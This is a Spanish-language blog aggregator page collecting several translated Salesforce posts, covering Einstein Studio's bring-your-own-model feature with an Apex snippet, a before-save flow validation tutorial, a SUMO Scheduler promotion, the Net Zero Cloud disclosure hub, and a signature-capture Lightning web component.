Vijayan Ganapathy es director de gestión de productos en MuleSoft, donde dirige su cartera de productos de integración B2B. Durante su carrera, ha ayudado a organizaciones a diseñar y construir soluciones de integración B2B/EDI a gran escala utilizando varias plataformas de integración. Con años de experiencia en el campo de la logística y la cadena de suministro, Vijayan lidera la estrategia y ejecución de Anypoint Partner Manager y otros productos en el espacio de integración B2B. En su tiempo libre, a Vijayan le gusta pasar tiempo con sus dos hijos y explorar el aire libre. Siga a Vijayan en LinkedIn.

Obtenga las últimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a través de Slack o RSS.

Agregar a Slack Suscríbete a RSS

Seguir leyendo

Traiga sus propios modelos de IA a la nube de datos ☁️

Traiga sus propios modelos de IA a la nube de datos ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

Lleve sus propios modelos de IA a la nube de datos | Blog de desarrolladores de Salesforce

Einstein Studio es una plataforma fácil de usar que le permite crear y poner en funcionamiento la IA en Salesforce. La plataforma aprovecha el poder de otras plataformas de IA, como Amazon SageMaker y Google Cloud Vertex AI, para que pueda crear, entrenar e implementar modelos de IA personalizados de forma externa utilizando datos en Salesforce. En este blog, presentamos Einstein Studio y exploramos cómo la capacidad de traer su propio modelo (BYOM) generalmente disponible puede generar resultados para su negocio.

Presentamos Traiga su propio modelo (BYOM)

Einstein Studio le permite conectarse fácilmente a modelos predictivos o generativos y usarlos en el flujo de trabajo en Salesforce. Por ejemplo, los modelos predictivos se pueden usar para puntuar clientes potenciales, recomendar productos o detectar abandonos. Con modelos generativos, puede crear contenido como resúmenes de casos, respuestas de correo electrónico y descripciones de productos. Para obtener más información sobre la IA generativa y los modelos de lenguaje extenso (LLM), consulte el blog de Salesforce 360 .

Conectar un modelo con Einstein Studio es simple. Puede integrar fácilmente su modelo con Data Cloud para acceder a predicciones e información en tiempo real y usar la información de varias maneras. Por ejemplo, para enriquecer los perfiles de los clientes, crear segmentos y personalizar la experiencia del usuario final en diferentes canales. También puede usar un modelo generativo para crear campañas de correo electrónico personalizadas basadas en las preferencias de un cliente y su comportamiento de compra.

¿Por qué traer su propio modelo?

Estos son algunos de los beneficios de usar un modelo de Amazon SageMaker con datos de Data Cloud en Einstein Studio.

  • Acceda a datos altamente seleccionados, armonizados y casi en tiempo real en Customer 360 en SageMaker.
  • Elimina la necesidad de trabajos ETL tediosos, costosos y propensos a errores. Este enfoque de federación de copia cero para los datos reduce la sobrecarga para administrar las copias de datos, los costos de almacenamiento y mejora la eficiencia.
  • Crea modelos rápidamente en SageMaker y conecta los modelos en Data Cloud para consumir predicciones para la optimización de procesos comerciales.
  • Admite la ingesta de datos en tiempo real, en streaming y por lotes para impulsar los resultados de IA relevantes.
  • Permite el uso sin inconvenientes de modelos y predicciones de SageMaker en Salesforce mediante Flow, un paquete de automatización de flujos de trabajo. Flow permite la toma de decisiones impulsada por IA que puede evolucionar en función de actualizaciones de datos en tiempo real.

Casos de uso

Estos son algunos casos de uso en los que Einstein Studio puede mejorar la experiencia del cliente y agregar un toque personal.

Caso de uso minorista

Un minorista puede crear un modelo de IA personalizado para predecir la probabilidad de que un cliente compre atuendos específicos en función de los datos de compromiso, como su historial de compras o actividad en línea. Luego pueden implementar el modelo y utilizar Einstein Studio para ofrecer recomendaciones de productos hiperpersonalizados a los clientes a través del canal más apropiado, incluido el correo electrónico, una aplicación móvil o las redes sociales.

Caso de uso de viaje

Una agencia de viajes puede conectar los datos de CRM, como el historial de reservas del cliente y las preferencias de viaje, con datos que no son de CRM, como reseñas de destinos y previsiones meteorológicas. Luego pueden implementar modelos de IA predictivos y generativos para predecir qué destinos atraen a clientes específicos y generar recomendaciones de correo electrónico personalizadas para ellos.

Caso de uso automotriz

Una marca automotriz puede usar inteligencia artificial predictiva para determinar cuándo es probable que un automóvil necesite mantenimiento y detectar reclamos de seguros fraudulentos. Luego, la IA generativa se puede utilizar para personalizar las campañas de marketing de los clientes en función de las necesidades y preferencias individuales.

Flujo de trabajo de la aplicación para usar Einstein Studio con AWS SageMaker

En esta sección, analizamos brevemente el flujo de trabajo de la aplicación con Einstein Studio.

En este flujo de trabajo, el conector de Python otorga a SageMaker acceso seguro a los objetos de Salesforce Data Cloud. Después de la autenticación, los especialistas en datos pueden explorar y preparar los datos, y realizar tareas de ingeniería de funciones para el desarrollo y la inferencia de modelos de IA mediante la interfaz visual interactiva de SageMaker Data Wrangler .

El flujo de trabajo anterior es específico de Data Wrangler. Pero, ¿qué sucede si es un científico de datos y planea usar los cuadernos de SageMaker Studio para desarrollar y preparar sus modelos personalizados? Una vez que se aprueba un modelo en el registro de SageMaker, simplificamos el proceso con una plantilla de proyecto de SageMaker para Salesforce para automatizar la implementación en un extremo de invocación.

Este extremo de invocación se configura como destino en Einstein Studio y se integra con las aplicaciones de Salesforce Customer 360. Para obtener más información sobre este flujo de trabajo, consulte el blog de AWS .

Cómo consumir predicciones de su modelo en Salesforce

Hay dos formas de consumir predicciones. Usando acciones invocables en Flow y Apex, o con análisis ad hoc.

Use Flow Builder y Apex para obtener predicciones

Aquí hay un flujo que usa una acción invocable para crear recomendaciones de productos para un cliente.

En este ejemplo, un administrador usa Flow Builder para separar los registros de individuos unificados para verificar si se realizó una compra reciente. Si se realizó la compra, la acción invocable obtiene la inferencia del modelo de Einstein Studio y recomienda el siguiente mejor producto a un cliente.

Esta acción invocable también se puede llamar en Apex. Vea el ejemplo a continuación.

<dx-code-block title language="apex" code-block="Invocable.Action action = Invocable.Action.createCustomAction('cdpGetMlPrediction', 'EinsteinStudio_model_name');
action.setInvocationParameter('variable_1', '10');
action.setInvocationParameter('variable2', '20');
action.setInvocationParameter('variable3', '30');
List results = action.invoke();
if (results.size() > 0 && results[0].isSuccess()) { System.debug(‘Result is: ‘ + results[0].getOutputParameters().get(‘param_score’));
} else { System.debug(‘Error message’ + results[0].getErrors());
} «>

Para obtener instrucciones sobre el uso de acciones invocables en Flow y Apex, consulte la Ayuda de Salesforce .

Utilice análisis ad hoc para obtener predicciones

Query API es otra forma rápida de obtener puntajes de predicción para los datos que residen en Data Cloud. Con Query API, puede usar el punto final de inferencia y funciones de predicción de llamadas para probar el punto final.

Para obtener instrucciones sobre el uso de acciones invocables en QueryAPI, consulte la Ayuda de Salesforce .

Conclusión

Einstein Studio es una plataforma de IA fácil de usar que permite a los equipos de ciencia e ingeniería de datos crear, entrenar e implementar modelos de IA utilizando plataformas externas y datos en Data Cloud. Las plataformas externas incluyen Amazon SageMaker, Google Cloud Vertex AI y otros servicios de IA predictivos o generativos. Una vez que esté listo, puede utilizar los modelos de IA en tiempo real para impulsar cualquier aplicación de ventas, servicios, marketing, comercio y otras en Salesforce.

Recursos adicionales

Sobre el Autor

Daryl Martis es el Director de Producto de Salesforce para Einstein. Tiene más de 10 años de experiencia en la planificación, creación, lanzamiento y gestión de soluciones de clase mundial para clientes empresariales, incluidas soluciones de inteligencia artificial y aprendizaje automático y en la nube. Anteriormente trabajó en la industria de servicios financieros en la ciudad de Nueva York. Síguelo en LinkedIn o Twitter .

Obtenga las últimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a través de Slack o RSS.

Agregar a Slack Suscríbete a RSS

Seguir leyendo

Validaciones personalizadas mediante flujos activados por registros

Validaciones personalizadas mediante flujos activados por registros

Última actualización el 3 de agosto de 2023 por Rakesh Gupta

Gran idea o pregunta duradera:

  • ¿Cómo se escribe una regla de validación utilizando un flujo desencadenado por registros antes de guardar sin crear metadatos adicionales?

Objetivos:

Después de leer este blog, podrá:

  • Comprender la regla de validación
  • Flujo antes de guardar activado por registro de usuario para crear una regla de validación
  • Mostrar el mensaje de error en la parte superior de la página
  • Y mucho más

👉 Anteriormente, escribí varias publicaciones sobre la validación y Salesforce Flow. ¿Por qué no echarles un vistazo mientras estás en ello?

  1. Adición de validación a los componentes de la pantalla de flujo
  2. ¿Regla de validación usando un flujo antes de guardar? ¡Sí!
  3. Cómo corregir el error FIELD_CUSTOM_VALIDATION_EXCEPTION)

A Benjamin Moore , administrador de Salesforce en Gurukul On Cloud (GoC), se le ha encomendado un requisito específico. Debe restringir que los usuarios creen una nueva oportunidad dentro de la cuenta si existe una oportunidad abierta. El siguiente texto debe utilizarse para el mensaje de error:

Utilice la oportunidad abierta existente dentro de esta cuenta. Si necesita más ayuda o tiene preguntas sobre la gestión de oportunidades, póngase en contacto con el soporte de TI.

¿Qué es la regla de validación?

Una regla de validación permite que un administrador del sistema defina una lógica personalizada y mensajes de error para garantizar la integridad de los datos. La regla puede contener una fórmula o una expresión que evalúe los datos en uno o más campos y devuelva un valor verdadero o falso . Por ejemplo, la regla incluye un mensaje de error que se muestra cuando devuelve un valor verdadero que indica que se están ingresando datos incorrectos. Recuerde, una regla de validación solo se activa cuando se crea o edita un registro .

En este artículo, hablé sobre muchos hechos ocultos que no son muy conocidos sobre la regla de validación . Por ejemplo, mostré cómo usar una regla de validación para administrar requisitos usando tipos de metadatos personalizados.

¿Qué es Antes de Guardar Flujo?

El flujo antes de guardar es un disparador que se realiza antes de una operación , como una inserción, actualización, eliminación, etc. Puede usar dicho flujo para verificar o cambiar valores antes de que los datos se actualicen o inserten en la base de datos. Guardar antes es mucho más rápido porque cada registro no se guarda en la base de datos nuevamente. Evitar ese procedimiento de guardado adicional significa omitir otra ronda de reglas de asignación, reglas de respuesta automática, reglas de flujo de trabajo y otras personalizaciones que tardan en ejecutarse. Use un flujo antes de guardar en los siguientes casos de uso:

  1. Actualizar campos en registros nuevos o modificados: significa que desea actualizar los campos en el registro que inició el Flujo
  2. Activar una regla de validación (no necesaria después del lanzamiento de winter'24)

Lea este artículo para obtener más información sobre cuándo usar el flujo anterior frente al flujo posterior al guardado.

Enfoque de Campeón de Automatización (I-do):

Paso 2: uso del elemento de decisión para verificar si la oportunidad se creó o actualizó

Ahora usaremos el elemento Decisión para verificar si el registro de oportunidad fue creado o actualizado.

  1. En Flow Designer, haga clic en el icono + y seleccione el elemento Decisión .
  2. Introduzca un nombre en el campo Etiqueta ; el nombre de la API se completará automáticamente.
  3. En Detalles del resultado , ingrese la etiqueta que el nombre de la API se completará automáticamente.
  4. Requisitos de condición para ejecutar el resultado : se cumplen todas las condiciones (Y)
    1. Fila 1:
      1. Recurso : {!$Record.Id}
      2. Operador : es nulo
      3. Valor : {!$ConstanteGlobal.Verdadero}
  5. Cuándo ejecutar el resultado : si se cumplen los requisitos de la condición
  6. Haz clic en la X en la parte superior para guardar tus cambios.

Paso 3: agregar un elemento Obtener registro para encontrar oportunidades abiertas relacionadas

El siguiente paso es usar el elemento Obtener registros para encontrar oportunidades abiertas relacionadas en la cuenta.

  1. En Flow Designer, debajo del nodo Creado , haga clic en el icono + y seleccione el elemento Obtener registros .
  2. Introduzca un nombre en el campo Etiqueta ; el nombre de la API se completará automáticamente.
  3. Seleccione el objeto Oportunidad de la lista desplegable.
  4. Seleccione Se cumplen todas las condiciones (Y) .
  5. Establecer condiciones de filtro
    1. Fila 1:
      1. Campo : ID de cuenta
      2. Operador : Igual
      3. Valor : {!$Record.AccountId}
    2. Haga clic en Agregar condición
      1. Fila 1:
        1. Campo : EstáCerrado
        2. Operador : Igual
        3. Valor : {!$ConstanteGlobal.Falso}
  6. Cuántos registros almacenar:
    1. seleccione Todos los registros
  7. Cómo almacenar datos de registro:
    1. Elija la opción para Almacenar automáticamente todos los campos .
  8. Haz clic en la X en la parte superior para guardar tus cambios.

Paso 4: uso del elemento de decisión para verificar si se encontró o no una oportunidad abierta  

Ahora, usaremos el elemento Decisión para comprobar si el elemento Obtener registros anterior devuelve un registro de oportunidades abiertas.

  1. En Flow Designer, haga clic en el icono + y seleccione el elemento Decisión .
  2. Introduzca un nombre en el campo Etiqueta ; el nombre de la API se completará automáticamente.
  3. En Detalles del resultado , ingrese la etiqueta que el nombre de la API se completará automáticamente.
  4. Requisitos de condición para ejecutar el resultado : se cumplen todas las condiciones (Y)
    1. Fila 1:
      1. Recurso: {!Get_Related_Opportunity}
      2. Operador: es nulo
      3. Valor: {!$ConstanteGlobal.Falso}
  5. Cuándo ejecutar Resultado : Si se cumplen los requisitos de la condición .
  6. Haga clic en Listo .

Paso 5: agregar un elemento de error personalizado para mostrar mensajes de error

  1. En el nodo , seleccione el elemento Error personalizado .
  2. Introduzca un nombre en el campo Etiqueta ; el nombre de la API se completará automáticamente.
  3. Establecer detalles del mensaje de error 1
    1. Dónde mostrar el mensaje de error : en una ventana en una página de registro
    2. Mensaje de error:
      1. Utilice la oportunidad abierta existente dentro de esta cuenta. Si necesita más ayuda o tiene preguntas sobre la gestión de oportunidades, póngase en contacto con el soporte de TI.
  4. Haz clic en la X en la parte superior para guardar tus cambios.

Al final, Benjamin's Flow se verá como la siguiente captura de pantalla:

Una vez que todo se vea bien, realice los siguientes pasos:

  1. Haga clic en Guardar .
  2. Ingrese la etiqueta de flujo, el nombre de la API se completará automáticamente.
  3. Haga clic en Mostrar avanzado .
  4. Versión de API para ejecutar el flujo : 59
  5. Etiqueta de entrevista : regla de validación personalizada mediante flujo {!$Flow.CurrentDateTime}
  6. Haga clic en Guardar .

¡Casi llegamos! Una vez que todo se vea bien, haga clic en el botón Activar .

👉 Mira el video para obtener instrucciones paso a paso.

[contenido incrustado]
Cosas para recordar
  1. El límite para el campo del mensaje de error es de 255 caracteres.
  2. Solo puede agregar un mensaje de error para una página.
  3. Solo puede agregar un mensaje de error por campo.
  4. no es posible utilizar el enlace con su mensaje de error.
    1. parámetro de escape Indica si cualquier marcado HTML en el mensaje de error personalizado se debe escapar ( verdadero ) o no ( falso ). Este parámetro se ignora tanto en Lightning Experience como en la aplicación móvil Salesforce, y el HTML siempre se escapa. El parámetro de escape solo se aplica en Salesforce Classic. Lea este artículo para obtener más información.

Prueba de concepto

A partir de ahora, si un usuario intenta crear una nueva oportunidad en una cuenta que ya tiene una oportunidad abierta, se activará el flujo activado por registro antes de guardar que hemos creado y mostrará un mensaje de error.

Evaluación formativa:

¡Quiero saber de ti!

¿Qué es una cosa que aprendiste de esta publicación? ¿Cómo imagina aplicar este nuevo conocimiento en el mundo real? Siéntase libre de compartir en los comentarios a continuación.

Seguir leyendo

Desatando los superpoderes de administración de Salesforce: ¡Impulse la colaboración en equipo, sobrecargue la eficiencia, gestión de datos maestros!

Desatando los superpoderes de administración de Salesforce: ¡Impulse la colaboración en equipo, sobrecargue la eficiencia, gestión de datos maestros!

Última actualización el 31 de julio de 2023 por Rakesh Gupta

Durante la última década, el papel de un administrador de Salesforce ha evolucionado drásticamente, manteniendo el ritmo del panorama dinámico de las ventas y la gestión de las relaciones con los clientes. Lo que alguna vez fue principalmente una posición de entrada de datos se ha convertido en un rol multifacético que abarca la planificación estratégica, el análisis y la optimización de procesos. A medida que las empresas reconozcan la importancia de Salesforce para impulsar el crecimiento y mejorar las experiencias de los clientes, los administradores proporcionarán un puente fundamental entre la tecnología y el éxito comercial.

Este artículo explorará cómo los administradores pueden aprovechar la automatización de procesos junto con el ecosistema de Salesforce para fomentar la colaboración en equipo, mejorar la eficiencia organizacional y mejorar la gestión de datos.

Uso de la automatización de correo electrónico de Salesforce para la programación

La automatización del correo electrónico se utiliza para optimizar varios aspectos de la comunicación por correo electrónico con clientes potenciales y clientes dentro de la plataforma de Salesforce para garantizar una programación de citas rápida y eficiente. Permite a las empresas administrar de manera eficiente sus campañas de marketing y ventas por correo electrónico, la participación del cliente y las reservas.

En los últimos años, la automatización revolucionó los procesos de ventas y soporte al agilizar la reserva de citas, reducir la carga de trabajo manual y brindar a los clientes opciones convenientes de autoservicio. Actualmente, los administradores de Salesforce pueden aprovechar herramientas como SUMO Scheduler junto con flujos nativos y alertas por correo electrónico para enviar automáticamente invitaciones a citas. Al crear disparadores que monitorean campos de datos específicos asociados con registros de contactos y lanzar flujos personalizados, los administradores pueden asegurarse de que los clientes potenciales siempre puedan programar citas, independientemente de la hora del día o la ubicación.

Actualizaciones automáticas de temas: haga que sus citas se destaquen

Las reuniones de cara al cliente son vitales para los equipos de ventas y soporte, y las citas perdidas o canceladas pueden afectar negativamente los objetivos estratégicos y el resultado final. Los administradores de Salesforce pueden aprovechar las actualizaciones automáticas de temas dentro de la programación de citas para reducir las cancelaciones de manera efectiva y aumentar la participación en las citas. Al implementar esta funcionalidad, los administradores pueden mejorar la comunicación, brindar claridad e infundir confianza en el proceso de citas para los clientes y la organización.

Se puede activar una actualización automática del tema para incluir detalles esenciales como la fecha, la hora, la ubicación y el propósito de la cita al programarla. Este mensaje de confirmación sirve como recordatorio para el cliente y reduce las posibilidades de cancelaciones involuntarias o de no presentarse.

Las actualizaciones automáticas de temas también se pueden personalizar para atender a clientes individuales. Los administradores pueden incluir detalles personalizados, como el nombre del cliente o referencias de citas específicas, para captar su atención y crear una sensación de personalización. Esto ayuda a fomentar una conexión con el cliente y refuerza su compromiso con la cita.

Finalmente, en caso de cambios o actualizaciones en la cita, los administradores pueden usar actualizaciones automáticas de temas para comunicar la información revisada. Esto asegura que los clientes estén informados sobre cualquier modificación en tiempo real, minimizando la confusión o la necesidad de cancelar debido a detalles desactualizados o inexactos.

Al permitir la flexibilidad en la programación y el mantenimiento de registros precisos dentro de Salesforce con la ayuda de líneas de asunto automatizadas, los administradores pueden optimizar de manera efectiva su proceso de ventas, mejorar la experiencia del usuario y fortalecer las relaciones con los clientes.

Uso de campos de correo electrónico flexibles para una mayor precisión

La flexibilidad es clave para satisfacer las necesidades únicas de los clientes, y los administradores de Salesforce pueden aprovechar el poder de los campos de correo electrónico para notificaciones personalizadas, sin importar cuán complejas sean. Esta personalización permite una experiencia más personalizada que cumple con requisitos específicos, como el cumplimiento normativo o las políticas internas.

En el contexto de Salesforce, los campos de correo electrónico se utilizan para recopilar y almacenar las direcciones de correo electrónico de los clientes. Estos campos aseguran que los datos ingresados sigan el formato adecuado, evitando entradas incorrectas o no válidas. Las direcciones de correo electrónico recopiladas a través de estos campos se pueden usar para enviar recordatorios, actualizaciones, mensajes de seguimiento y otras notificaciones relacionadas con citas. Cada campo de correo electrónico actúa como una medida confiable de capturar y utilizar información de contacto para mejorar el compromiso y mantener canales de comunicación efectivos.

Los campos de correo electrónico de Salesforce pueden mejorar la precisión al garantizar que la información de contacto almacenada en CRM esté actualizada y sea confiable. Al utilizar campos de correo electrónico dedicados dentro de Salesforce, los representantes de ventas pueden capturar y almacenar direcciones de correo electrónico específicas de personas o entidades con precisión. Esto ayuda a eliminar el riesgo de usar direcciones de correo electrónico desactualizadas o incorrectas asociadas con otros campos, como información de contacto personal o comercial, lo que da como resultado comunicaciones por correo electrónico más confiables, tasas de rebote reducidas y precisión de datos mejorada.

Automatice la creación de clientes potenciales en Salesforce en el momento de la reserva

Las herramientas de programación nativas de Salesforce permiten a los equipos de ventas automatizar la creación de clientes potenciales, lo que garantiza una captura precisa de la información y los datos demográficos de los clientes potenciales en el CRM. Al automatizar el proceso de creación de clientes potenciales tan pronto como se programa una cita, los administradores pueden ahorrar tiempo, mantener la integridad de los datos y evitar la redundancia. Los flujos automatizados agilizan el proceso y eliminan los errores de entrada manual. La precisión mejorada y la colaboración entre las partes interesadas mejoran las tasas de conversión de clientes potenciales y proporcionan datos confiables para informes y análisis.

Para automatizar rápidamente la creación de clientes potenciales en Salesforce en el momento de la reserva, puede seguir estos pasos:

  1. Identifique el evento desencadenante : determine el evento o la acción específicos que deben desencadenar la creación de clientes potenciales. En este caso, sería la reserva de una cita.
  2. Configure un flujo de Salesforce : utilice el flujo de Salesforce para crear una regla que active el proceso de creación de clientes potenciales. Especifique los criterios para cuándo debe activarse el flujo, como cuando se reserva una nueva cita.
  3. Definir asignación de campos : configure la asignación de campos para asegurarse de que la información relevante de la cita se transfiera correctamente al registro de clientes potenciales. Puede asignar campos como el nombre del participante, la información de contacto, los detalles de la cita y otros puntos de datos relevantes.
  4. Crear el registro de prospecto : configure Salesforce Flow para crear un nuevo registro de prospecto con los datos asignados. Asegúrese de que todos los campos obligatorios estén completos y que el registro de cliente potencial esté asociado con la campaña o la fuente adecuada.
  5. Probar y validar : pruebe el proceso automatizado de creación de clientes potenciales reservando una cita de muestra y verificando que el registro de clientes potenciales se cree con los datos esperados. Valide que el registro de prospectos aparezca en la cola de prospectos designada o en las reglas de asignación.
  6. Supervisar y perfeccionar : Supervise continuamente el proceso de automatización de creación de clientes potenciales para garantizar su eficacia y precisión. Realice los ajustes o mejoras necesarios en función de los comentarios, los cambios en los requisitos comerciales o los problemas de calidad de los datos.

Al automatizar la creación de clientes potenciales en Salesforce en el momento de la reserva, los representantes de ventas y los administradores pueden ahorrar tiempo, garantizar la precisión de los datos y mantener un proceso de gestión de clientes potenciales optimizado. Esta automatización facilita la captura eficiente de clientes potenciales, reduce el esfuerzo manual y mejora la productividad del equipo de ventas.

Conclusión:

Los flujos de programación automatizados, junto con las poderosas capacidades de SUMO Scheduler, simplifican y mejoran los procesos de trabajo, ahorran tiempo, reducen errores y mejoran la satisfacción del cliente. Al adoptar la automatización, los administradores de Salesforce pueden impulsar mejoras significativas en la eficiencia, la productividad y el rendimiento comercial general. La optimización de los procesos de programación y el aprovechamiento de los flujos de automatización en Salesforce con SUMO Scheduler es una combinación ganadora para las empresas que buscan optimizar sus operaciones. ¡Adopte la revolución de la automatización hoy e impulse a su equipo de ventas a nuevos niveles de éxito!

Haga clic aquí para visitar SUMO Scheduler en Salesforce AppExchange y obtener más información sobre el poder de la programación automática de autoservicio .

Evaluación formativa:

¡Quiero saber de ti!

¿Qué es una cosa que aprendiste de esta publicación? ¿Cómo imagina aplicar este nuevo conocimiento en el mundo real? Siéntase libre de compartir en los comentarios a continuación.

Seguir leyendo

Divulgación y cumplimiento en Net Zero Cloud

Divulgación y cumplimiento en Net Zero Cloud

Cubrimos brevemente Net Zero Cloud en el pasado, de hecho, no es una sola nube sino una gran cosa de múltiples industrias si me preguntan.

Como parte de la explicación de esto: https://developer.salesforce.com/docs/atlas.en-us.netzero_cloud_dev_guide.meta/netzero_cloud_dev_guide/netzero_cloud_data_model.htm

:O

Lo que me gustaría cubrir hoy es Disclosure and Compliance Hub. Que es un módulo dentro de Net Zero Cloud para que pueda hacer exactamente eso: esencialmente, esto le permite extraer datos, responder preguntas, colaborar con los usuarios y generar divulgaciones.

Esto es importante ya que cada vez más claridad y transparencia sobre el impacto ambiental y social se está volviendo esencial. Y bueno, la legislación está sucediendo y, potencialmente, los impuestos y las sanciones pueden venir en el futuro (¡la línea es corta por cierto!)

Entonces, lo que este módulo le permite hacer es simplemente generar "divulgaciones formateadas" que luego puede informar y publicar.

Lo primero que debe hacer es habilitarlo en Net Zero > Disclosure and Compliance Hub Settings > Luego active Manage Disclosure and Compliance Hub. Para que pueda acceder a la aplicación, que es bastante sencilla:

Con NZC Disclosure and Compliance Hub, Salesforce tiene un paquete que incluye 3 informes iniciales:

CDP : en el año 2000, el 'Carbon Disclosure Project' proporcionó una estructura clara para que las organizaciones informaran externamente sobre su huella. https://www.cdp.net/es/info/sobre-nosotros

GRI : otro marco de estándares de informes sobre el cumplimiento ambiental, esto también incluye una amplia gama de biodiversidad a impuestos, residuos a emisiones. https://www.globalreporting.org/

SASB – Sustainability Accounting Standards Board se enfoca en un subconjunto de temas de sustentabilidad más relevantes para el desempeño financiero en cada una de las 77 industrias. https://sasb.org/

El proceso guiado y la variación de la estructura de estándares en las opciones anteriores, creo que esta es la razón por la que en la edición Growth de Net Zero Cloud tiene licencias de OmniStudio. Con el paquete de estos 3 informes estructurados, omniscript y dataraptors ya están agrupados y listos para usar.

Debajo de una muestra de pasos para crear una Divulgación en el tipo SASB:

Entonces, OmniStudio utiliza un proceso guiado para extraer datos de las respuestas cualitativas y cuantitativas a los cuestionarios.

Los cuestionarios están ahí para recopilar información específica, como el uso del presupuesto para una subvención, o informes de emisiones de carbono y energía, o para información genérica, como informes ambientales, sociales y de gobernanza.

También puede colaborar en las respuestas con los usuarios y crear una colección de respuestas reutilizables aprobadas.

Puede utilizar las respuestas para producir documentos formateados. Dentro del registro de Divulgación tiene una acción 'Generar documento':

¡Tada!

Eso es usar la plantilla estándar que viene del paquete en la versión SASB.

Tan simple como eso, lo que se vuelve más complicado es si desea utilizar otro tipo de Divulgación, por lo que tendría que crear los componentes relacionados de OmniStudio, etc. ¡Aunque sugeriría utilizar uno de estos 3 estándares disponibles que son ampliamente adoptados!

¿Cómo está reportando su organización hoy en Gobernanza Social Ambiental?

Seguir leyendo

Capture firmas electrónicas con componentes web Lightning en dispositivos móviles ☁️

Capture firmas electrónicas con componentes web Lightning en dispositivos móviles ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

Capture firmas electrónicas con componentes web Lightning en dispositivos móviles | Blog de desarrolladores de Salesforce

¿Alguna vez ha necesitado recopilar una firma electrónica sobre la marcha? Tal vez necesite verificar un pago, asegurarse de que se procesen transacciones exitosas o incluso actualizar los registros después de que se haya completado un servicio. Una firma electrónica es útil como paso de verificación de muchas maneras. Permitir que los trabajadores de campo capturen firmas sobre la marcha es uno de los casos de uso móvil más comunes que escuchamos de nuestros clientes. Por lo tanto, me complace compartir que hemos creado un componente web Lightning de muestra que le permite capturar firmas y adjuntarlas a un registro de Salesforce. Si bien creamos esto para casos de uso móvil, no hay nada que le impida usarlo también en computadoras de escritorio con pantalla táctil. Trabajar con el LWC de captura de firmas Veamos un ejemplo en acción. Dreamhouse es una aplicación de muestra de bienes raíces ficticia que se puede usar para web y dispositivos móviles. Los agentes de bienes raíces, cuando están en el proceso de cerrar un trato, deben poder capturar el nombre y la firma del comprador para asociarlos con la propiedad que se vendió. Para hacer esto, los desarrolladores de Dreamhouse pueden utilizar un nuevo componente LWC de muestra que hemos creado. ¡Vamos a sumergirnos en él!

Configuración de la configuración de LWC

Para nuestro requisito Dreamhouse anterior, debemos poder recopilar el nombre y la información de la firma del LWC. Esto se puede hacer a través de tres pasos.

  1. Configure su diseño HTML LWC
  2. Configura tus estilos LWC
  3. Conecte su interfaz con las API de JavaScript de LWC

¡Vamos a sumergirnos en más detalles sobre los pasos!

1. Configure su diseño HTML de LWC

Para comenzar, vaya a la sección NameAndSignatureCapture del directorio de muestra de LWC en GitHub. Luego, copie el componente signaturePad en la carpeta lwc de su proyecto. Después de copiar el código del componente de muestra, puede hacer referencia al componente escribiendo <c-signature-pad> y establecer sus atributos para configurarlo.

<dx-code-block title language="html" code-block="

«>

2. Configura tus estilos LWC

A continuación, los estilos de la interfaz también se pueden ajustar para satisfacer sus necesidades. Para nuestra demostración de Dreamhouse, importemos una nueva familia de fuentes. Para hacer esto, simplemente configure los estilos para su componente LWC como se ve a continuación.

También puede personalizar el diseño del LWC a su gusto haciendo referencia a la clase adecuada y los atributos HTML.

3. Conecte su interfaz con las API de LWC

Por último, debemos asegurarnos de que la firma sea capturada correctamente por el LWC. A los efectos de nuestro ejemplo Dreamhouse, queremos poder guardar la firma proporcionada por el usuario final.

El SignaturePad LWC que proporcionamos se puede configurar para capturar datos y personalizar la interfaz a través de las API de JavaScript y sus atributos HTML correspondientes. Para hacer esto, simplemente invoque los métodos API y conéctelos a sus atributos HTML correspondientes en el <c-signature-pad> . Consulte la lista a continuación para el atributo HTML y las asignaciones de la API de JavaScript

Funcionalidad Descripción Atributo HTML = "tipo" API de JavaScript (Tipo)
Habilitar firma de nombre Permite a los usuarios finales escribir su nombre y devuelve un texto para firmar generado automáticamente a medida que los usuarios escriben su nombre. enable-name-signing=”booleano” enableNameSigning(booleano)
Habilitar dibujo de firma Le permite solicitar a los usuarios finales que dibujen su propia firma personalizada en el panel de firma proporcionado. habilitar-firma-dibujo = "booleano" enableSignatureDrawing (booleano)
Grosor de trazo característico Personalice el grosor del trazo del lápiz en las capturas de firma electrónica. trazo-grosor = "entero" grosor del trazo (entero)
Color de la pluma de firma Personalice el color de tinta del bolígrafo que se proporciona al usuario final. bolígrafo-color=”Cadena” plumaColor(Cadena)
Color de la almohadilla de firma Personalice el color del pad de firma que ve el usuario final. pad-color=”Cadena” padColor(Cadena)
Color de fuente de la firma Personaliza la fuente de la firma. fuente-color = "Cadena" font.color=Cadena
Configuración de una etiqueta de campo de entrada Establezca una etiqueta para el nombre del campo de entrada. nombre-entrada-etiqueta=”Cadena” nombreInputLabel=”Cadena”
Configuración de una etiqueta de almohadilla Establezca un nombre para la etiqueta sobre el panel de firma. nombre-entrada-etiqueta=”Cadena” nombreInputLabel=”Cadena”
Guardar firma Permite guardar una firma autogenerada y/o personalizada. onclick={guardar firma} pad.getSignature()
Firma clara Permite eliminar la firma anterior si es necesario volver a hacerlo. onclick={clarar Firma} pad.clearSignature()

Tenga en cuenta que también agregamos un método clearSignature y saveSignature para permitir borrar y guardar firmas respectivamente. Puede hacer esto configurando sus propios métodos de JavaScript que se conectan a pad.setSignature() y pad.clearSignature() . Estos se pueden conectar a los componentes <lightning-button> . Veamos un ejemplo de esto a continuación.

Ahora que tenemos los métodos de JavaScript identificados, veamos algunos de ellos en acción. Esto se puede hacer usando el siguiente JavaScript.

{ if (font.family === "Great Vibes" && font.status === "unloaded") { // Ensure that the font is loaded so that signature pad could use it. // If you are using a different font in your project, don’t forget // to update the if-condition above to account for it. font.load(); } }); } saveSignature() { const pad = this.template.querySelector("c-signature-pad"); if (pad) { const dataURL = pad.getSignature(); if (dataURL) { // At this point you can consume the signature, for example by saving // it to disk or uploading it to a Salesforce org/record. // Here we just preview it in an image tag. this.imgSrc = dataURL; } } } clearSignature() { const pad = this.template.querySelector("c-signature-pad"); if (pad) { pad.clearSignature(); } this.imgSrc = null; }
